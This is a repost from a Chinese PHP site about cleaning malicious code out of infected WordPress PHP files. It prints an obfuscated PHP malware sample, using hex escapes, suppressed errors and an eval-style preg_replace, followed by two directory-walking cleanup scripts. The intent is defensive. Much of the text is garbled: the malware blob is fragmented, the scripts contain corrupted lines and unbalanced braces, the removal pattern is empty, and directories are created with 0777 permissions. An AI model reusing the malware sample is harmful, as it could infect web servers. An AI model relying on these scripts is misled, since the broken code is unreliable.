清除wordpress裡PHP檔案惡意程式碼

WBOY
發布: 2016-07-25 08:46:34
原創
1222 人瀏覽過
公司一些wordpress網站由於下載的插件存在惡意程式碼,導致整個伺服器所有網站PHP檔案都存在惡意程式碼,就寫了個簡單的腳本清除。
  1. !#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm %x5c%x7825:-5ppde:4:|:**#ppde#)tutjyfx25yy>#] D6]281L1#%x5c%x782f#M5]DgP5]D6#!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M75]D:D ]Df#^#zsfvrx5c% x7827&6hmg%x5c%x7825!j%%x5c% x7825:|:**t%x5c%xW~!%x5c%x7825z!>215b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g] **3-j%x5c%x7825-bubE{ h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,67825mm!> !#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825%x5c%x782frfs8325677256272567256212525125725725725251257225725722572572572; 78]248 ] y83]7825t2w)##Qtjw) #]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c'pd%x5c%x78256!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-x25) x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787fu%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f *0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%O8255hx5c%Ohx x5c%x782f#00#W~!%x5c%xS["%x61 6%x75 6%x61"]=1 函數f:h%x5c%x7825:!2p%x5c2fh%x5c%x7825:%x5c%x7825fdyUm%x5c%x5c%x7825 !qp%x5c%x7825!|Z~!!2p%x5c%x7825!!*5* #P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4 %x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825 % x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2eR%x29W%x65","%x65 6%x61 4%x28 1%x6d 0%x6c%) opjudovg) op e%x5c%x7825!osvufs!*! A!>!{e%x5cx27pd%x5c%x78256>X)!gjZb%x5c%x7825!**X)ufttj%x7825c:>11%x5c%x782272qj%x5c%x7825)7gjq }_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!>}R;msv}.;%x5c%x782f#% xc%x#78b% x5c%x7825w:!>!%x5c%x78246767~6>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|! **#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd} ;!>!}27%; !>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x7257 x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#}>!%x5c%x7825tdz)% x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%.78% x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z> ;!tussfw)%x5c%x7825zW%x55c%x787fw6s%x5c%x7825q5c%x7825)!gj!2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54?*2b%x5c%x7825)gpf{jt)!gj!:946e:555 - tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]KC#>2*!% x5c% x7825z >3j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x78605 x7825 %x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f%x5c%x72f7f725 :*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!! )qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x724x %x7860cpg]273]y76]271]y7d]252]y74]256]7f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!} W;utpi }Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256 %x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*#L4]275L3]248L3P6L1M5]D2P4]D6#>1*!%x5c%x7825b:]y4c#!%x5c% x7824Ypp 5c%!x7825cB%x5c% x7824Ypp 64993f 69495:564959694095. #)zbssb!>!ssbnpe_GMFT%x5%cbe&c5%Ix5%x785__ 5c%x787f!bjepdoF.uofux#xD785c) %x5c %x7878{**#cvt-ovww)ldb6%* )utjm!|%x5c-%x7824 x5c%x7824!>!fyqmpef)#%x5c%x7824* >*4-1-bubE{h%x5c%x7255) )!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd% x5c%x7%x7825c*W%x5c%x7825eN # Qi%x5c%x785c1^W%x25%; !%x5c%x7827!hmg%x5c%x7825)!gj!~!%x5c%x782400x782400x7 :Ew:Qb:Qc:]37825_t %x785c^>Ew:Qb:Qc:]323]78363]78363]23833] ]6] 283]2178}527}88:}334}472%x55c% x7825hIr%x5c% x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f%15 ;%x5c %x7825-qp%x5c%f*x7%xp7825) %x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>1!#]y84]275]y83]273]y76]2777%#75c% % x825c25b%t2 x5c%x785csboe))1%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:62b%x5cx25%x5c%x7827Y%x5c%x78256<.msv>H72554%Ex4%d 2 4 %x78b%x35 5%x3 6%x21v %x5fdy)##-!#~22#]y3g]61]y3f]63]y3:]68]y76#
複製程式碼
  1. /**
  2. * 檔案名稱:delUnwantedCode.php
  3. * 功能:刪除FTP裡惡意程式碼
  4. * 使用說明:
  5. * 請將檔案上傳到需要清除惡意程式碼的目錄,然後透過CLI或瀏覽器存取即可,原有被感染的檔案會自動備份
  6. */
  7. $path = dirname(__FILE__); #定義需要處理的目錄
  8. $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定義來源檔案備份目錄,程式過濾惡意程式碼前,先按原有的路徑備份文件到此目錄
  9. $fileType = array('php'); #定義需要處理的檔案類型(後綴名稱),小寫
  10. $search = array('@@si'); #定義需要過濾的惡意程式碼規則
  11. $search_count = array(
  12. 'all_file'=> array(), #所有檔案
  13. 'search_file0'=>array(), #沒有惡意程式碼檔案
  14. 'search_file1'=>array() #含有惡意程式碼檔案
  15. );
  16. $filelist = listDir($path,$fileType,false); #讀取目錄裡符合條件檔案清單
  17. if(!empty($filelist)){
  18. foreach ($filelist as $file ){
  19. $file = (isset($file['name'])?$file['name']:$file);
  20. $search_count['all_file'][] = $file;
  21. $fileContent = file_get_contents($file);
  22. $compile_fileContent = preg_replace($search, '', $fileContent);
  23. if(strlen($fileContent) != strlen($compile_Content) && 字符串_Content) &$ , '', $file)==$file){
  24. #過濾後檔案長度不一致,則表示含有惡意程式碼(備份檔案所在目錄不過濾)
  25. $search_count['search_file1'][] = $ file;
  26. ############備份原有檔案開始##############
  27. $bakFile = str_replace($path , $bak_path, $file);
  28. @make_dir(dirname($bakFile));
  29. @file_put_contents($bakFile, $fileContent);
  30. ############備份備份原有檔案結束###############
  31. #重新寫入過濾後的內容到原有的PHP檔案
  32. @file_put_contents($file, $compile_fileContent );
  33. }else{
  34. $search_count['search_file0'][] = $file;
  35. }
  36. }
  37. }
  38. #print_r($search_count);die ;
  39. echo sprintf('從%s里共搜尋到%s個符合條件的文件,其中%s個存在惡意程式碼,已處理結束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;
  40. ############## ##########
  41. ## 輔助函數
  42. ########################
  43. /**
  44. * 檢查目標資料夾是否存在,如果不存在則自動建立該目錄
  45. *
  46. * @access public
  47. * @param string folder 目錄路徑。不能使用相對於網站根目錄的URL
  48. *
  49. * @return bool
  50. */
  51. function make_dir($folder){
  52. $reval = false;
  53. if (!file_exists($folder)){
  54. #如果目錄不存在則嘗試建立該目錄
  55. @umask(0);
  56. #將目錄路徑拆分成數組
  57. preg_match_all('/([^/]*)/?/i', $folder, $atmp );
  58. #如果第一個字元為/則當作物理路徑處理
  59. $base = ($atmp[0][0] == '/') ? '/' : '' ;
  60. #遍歷包含路徑資訊的陣列
  61. foreach ($atmp[1] AS $val){
  62. if ('' != $val){
  63. $base .= $ val;
  64. if ('..' == $val || '.' == $val){
  65. #如果目錄為.或..則直接補/繼續下一個循環
  66. $base .= '/';
  67. continue;
  68. }
  69. }else{
  70. continue;
  71. }
  72. $base .= '/';
  73. $base .= '/';
  74. if (!file_exists($base)){
  75. #嘗試建立目錄,如果建立失敗則繼續循環
  76. if (@mkdir(rtrim($base, '/'), 0777)){
  77. @ chmod($base, 0777);
  78. $reval = true;
  79. } } } }else{ #路徑已經存在。返回該路徑是不是目錄
  80. $reval = is_dir($folder);
  81. }
  82. clearstatcache();
  83. return $reval;
  84. }
  85. }
  86. return $reval;
  87. }
  88. }
  89. ########取得目錄下所有文件,包括子目錄開始###############
  90. function listDir($path,$ fileType=array(),$fileInfo=true){
  91. $path = str_replace(array('/','\'), DIRECTORY_SEPARATOR, $path);
  92. if(!file_exists($path)|| !is_dir($path)){
  93. return '';
  94. }
  95. if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
  96. $path = substr($path, 0,-1);
  97. }
  98. $dirList=array();
  99. $dir=opendir($path);
  100. while($file=readdir($dir)){
  101. #若有定義$fileType,且檔案類型不在$fileType範圍內或檔案是目錄,則跳過
  102. if($file!=='.'&&$file!=='..'){
  103. $file = $path.DIRECTORY_SEPARATOR.$file;
  104. if(is_dir($file)){
  105. if(empty($fileType)){
  106. $dirList[] = ($fileInfo== true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file);
  107. }
  108. $dirList = array_merge($dirList,listDir($file ,$fileType));
  109. }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
  110. $dirList[] = ($fileInfo==true ?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime' =>filemtime($file)):$file);
  111. }
  112. };
  113. };
  114. closedir($dir);
return $dirList;
} ########取得目錄下所有文件,包含子目錄結束#################
複製程式碼
  1. /**
  2. * 檔案名稱:delAllUnwantedCode.php
  3. * 功能:刪除FTP裡惡意程式碼(支援任意數量的檔案處理)
  4. * 使用說明:
  5. * 請將檔案上傳到需要清除惡意程式碼的目錄,然後透過CLI或瀏覽器存取即可,原有被感染的檔案會自動備份
  6. */
  7. set_time_limit(0);ignore_user_abort(true);
  8. $path = dirname( __FILE__); #定義需要處理的目錄
  9. $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定義原始檔備份目錄,程式過濾惡意程式碼前,先按原有的路徑備份文件到此目錄
  10. $fileType = array('php'); #定義需要處理的檔案類型(後綴名),小寫
  11. $search = array('@@si'); #定義需要過濾的惡意程式碼規則
  12. $file_count = array(
  13. 'all_file'=>0, #所有檔案
  14. 'filter_file'=>0 #含有惡意程式碼檔案
  15. );
  16. replaceUnwantedCode($path); #執行過濾
  17. #print_r($search_count);die;
  18. echo sprintf('從%s里共搜尋到%s個符合條件的文件,其中%s個存在惡意程式碼已清理,原始檔案保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;
  19. function replaceUnwantedCode($path ){
  20. global $bak_path,$fileType,$search,$file_count;
  21. $path = str_replace(array('/','\'), DIRECTORY_SEPARATOR, $path);
  22. if(!file_exists ($path)||!is_dir($path)){
  23. return '';
  24. }
  25. if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
  26. $path = substr($path, 0,-1);
  27. }
  28. $dir=opendir($path);
  29. while($file=readdir($dir)){
  30. #若有定義$fileType,且檔案類型不在$fileType範圍內或檔案是目錄,則跳過
  31. if($file!=='.'&&$file!=='..'){
  32. $file = $path.DIRECTORY_SEPARATOR.$file;
  33. if(is_dir($file)){
  34. replaceUnwantedCode($file);
  35. }elseif(!empty($fileType) && (in_$array(pathinfo(path) , PATHINFO_EXTENSION), $fileType))){
  36. ################################
  37. @$ file_count['all_file'] ;
  38. $fileContent = file_get_contents($file); #檔案原始程式碼
  39. $compile_fileContent = preg_replace($search, '', $fileContent); #過濾後的內容
  40. if (strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
  41. #過濾後檔案長度不一致,則表示含有惡意程式碼(備份檔案所在目錄不過濾)
  42. $file_count['filter_file'] ;
  43. ###########備份原有檔案開始############# ###
  44. $bakFile = str_replace($path, $bak_path, $file);
  45. @make_dir(dirname($bakFile));
  46. @file_put_contents($bakFile, $fileContent);
  47. @file_put_contents($bakFile, $fileContent);
  48. ############備份原有檔案結束################
  49. #重新寫入過濾後的內容到原有的PHP檔
  50. @file_put_contents($file, $compile_fileContent);
  51. }
  52. ################################################################################# ####
  53. unset($fileContent,$compile_fileContent);
  54. }
  55. };
  56. };
  57. closedir($dir);
  58. return true;
  59. }
  60. ########################
  61. ## 輔助函數
  62. ########################
  63. /**
  64. * 檢查目標資料夾是否存在,如果不存在則自動建立該目錄
  65. *
  66. * @access public
  67. * @param string folder 目錄路徑。不能使用相對於網站根目錄的URL
  68. *
  69. * @return bool
  70. */
  71. function make_dir($folder){
  72. $reval = false;
  73. if (!file_exists($folder)){
  74. #如果目錄不存在則嘗試建立該目錄
  75. @umask(0);
  76. #將目錄路徑拆分成數組
  77. preg_match_all('/([^/]*)/?/i', $folder, $atmp);
  78. #如果第一個字元為/則當作實體路徑處理
  79. $base = ($atmp[0][0] == '/') ? '/' : '';
  80. #遍歷包含路徑資訊的陣列
  81. foreach ( $atmp[1] AS $val){
  82. if ('' != $val){
  83. $base .= $val;
  84. if ('..' == $val || '. ' == $val){
  85. #如果目錄為.或..則直接補/繼續下一個循環
  86. $base .= '/';
  87. continue;
  88. }
  89. } else{
  90. continue;
  91. }
  92. $base .= '/';
  93. if (!file_exists($base)){
  94. #嘗試建立目錄,如果創建失敗則繼續循環
  95. if (@mkdir(rtrim($base, '/'), 0777)){
  96. @chmod($base, 0777);
  97. $reval = true;
  98. }
  99. }
  100. }
  101. }else{
  102. #路徑已經存在。返回該路徑是不是目錄
  103. $reval = is_dir($folder);
  104. }
  105. clearstatcache();
  106. return $reval;
}
} return $reval;}
}
複製程式碼
惡意程式碼, wordpress, PHP

來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板